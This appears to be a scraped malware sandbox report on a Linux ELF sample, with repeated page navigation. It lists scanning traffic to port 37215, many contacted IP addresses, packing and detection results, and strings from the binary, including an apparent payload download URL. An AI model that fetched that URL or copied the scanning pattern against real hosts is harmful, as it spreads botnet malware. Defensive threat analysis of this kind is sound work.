Source: unknown	Network traffic detected: HTTP traffic on port 47136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35310 -> 37215

Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf

Submission file: segment LOAD with 7.955 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6240)

Queries kernel information via 'uname':

Jump to behavior

Stealing of Sensitive Information

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.x86.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Virustotal: Detection: 38%			Perma Link
Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf	ReversingLabs: Detection: 38%

Source: unknown	TCP traffic detected without corresponding DNS query: 180.60.37.194
Source: unknown	TCP traffic detected without corresponding DNS query: 164.8.83.168
Source: unknown	TCP traffic detected without corresponding DNS query: 152.31.102.194
Source: unknown	TCP traffic detected without corresponding DNS query: 114.61.218.115
Source: unknown	TCP traffic detected without corresponding DNS query: 122.200.226.194
Source: unknown	TCP traffic detected without corresponding DNS query: 65.176.24.195
Source: unknown	TCP traffic detected without corresponding DNS query: 217.197.214.61
Source: unknown	TCP traffic detected without corresponding DNS query: 217.254.88.187
Source: unknown	TCP traffic detected without corresponding DNS query: 188.226.234.237
Source: unknown	TCP traffic detected without corresponding DNS query: 106.140.115.133
Source: unknown	TCP traffic detected without corresponding DNS query: 118.148.162.98
Source: unknown	TCP traffic detected without corresponding DNS query: 99.180.27.77
Source: unknown	TCP traffic detected without corresponding DNS query: 212.67.171.168
Source: unknown	TCP traffic detected without corresponding DNS query: 63.212.181.243
Source: unknown	TCP traffic detected without corresponding DNS query: 144.235.215.78
Source: unknown	TCP traffic detected without corresponding DNS query: 173.100.184.134
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.151.242
Source: unknown	TCP traffic detected without corresponding DNS query: 180.145.187.99
Source: unknown	TCP traffic detected without corresponding DNS query: 190.78.27.110
Source: unknown	TCP traffic detected without corresponding DNS query: 200.208.102.162
Source: unknown	TCP traffic detected without corresponding DNS query: 136.220.242.233
Source: unknown	TCP traffic detected without corresponding DNS query: 139.239.74.183
Source: unknown	TCP traffic detected without corresponding DNS query: 139.230.146.126
Source: unknown	TCP traffic detected without corresponding DNS query: 204.248.164.100
Source: unknown	TCP traffic detected without corresponding DNS query: 48.194.53.183
Source: unknown	TCP traffic detected without corresponding DNS query: 13.146.120.228
Source: unknown	TCP traffic detected without corresponding DNS query: 124.155.136.194
Source: unknown	TCP traffic detected without corresponding DNS query: 17.11.113.121
Source: unknown	TCP traffic detected without corresponding DNS query: 58.171.145.133
Source: unknown	TCP traffic detected without corresponding DNS query: 166.125.225.29
Source: unknown	TCP traffic detected without corresponding DNS query: 105.182.137.177
Source: unknown	TCP traffic detected without corresponding DNS query: 153.230.193.58
Source: unknown	TCP traffic detected without corresponding DNS query: 99.20.103.85
Source: unknown	TCP traffic detected without corresponding DNS query: 4.224.130.65
Source: unknown	TCP traffic detected without corresponding DNS query: 9.2.113.23
Source: unknown	TCP traffic detected without corresponding DNS query: 143.114.228.23
Source: unknown	TCP traffic detected without corresponding DNS query: 153.11.123.177
Source: unknown	TCP traffic detected without corresponding DNS query: 217.140.134.169
Source: unknown	TCP traffic detected without corresponding DNS query: 89.44.178.157
Source: unknown	TCP traffic detected without corresponding DNS query: 120.141.120.106
Source: unknown	TCP traffic detected without corresponding DNS query: 38.84.197.34
Source: unknown	TCP traffic detected without corresponding DNS query: 58.173.224.49
Source: unknown	TCP traffic detected without corresponding DNS query: 189.165.93.163
Source: unknown	TCP traffic detected without corresponding DNS query: 123.59.86.76
Source: unknown	TCP traffic detected without corresponding DNS query: 63.193.154.153
Source: unknown	TCP traffic detected without corresponding DNS query: 38.72.225.132
Source: unknown	TCP traffic detected without corresponding DNS query: 182.105.74.8
Source: unknown	TCP traffic detected without corresponding DNS query: 200.245.89.243
Source: unknown	TCP traffic detected without corresponding DNS query: 61.50.54.150
Source: unknown	TCP traffic detected without corresponding DNS query: 103.203.27.67

Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf, 6226.1.0000000008048000.000000000805b000.r-x.sdmp	String found in binary or memory: http://botbet.catbbos.fun/bin
Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf, 6224.1.0000000008048000.000000000805b000.r-x.sdmp, db0fa4b8db0333367e9bda3ab68b8042.x86.elf, 6226.1.0000000008048000.000000000805b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf, 6224.1.0000000008048000.000000000805b000.r-x.sdmp, db0fa4b8db0333367e9bda3ab68b8042.x86.elf, 6226.1.0000000008048000.000000000805b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf	String found in binary or memory: http://upx.sf.net

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report db0fa4b8db0333367e9bda3ab68b8042.x86.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.x86.elf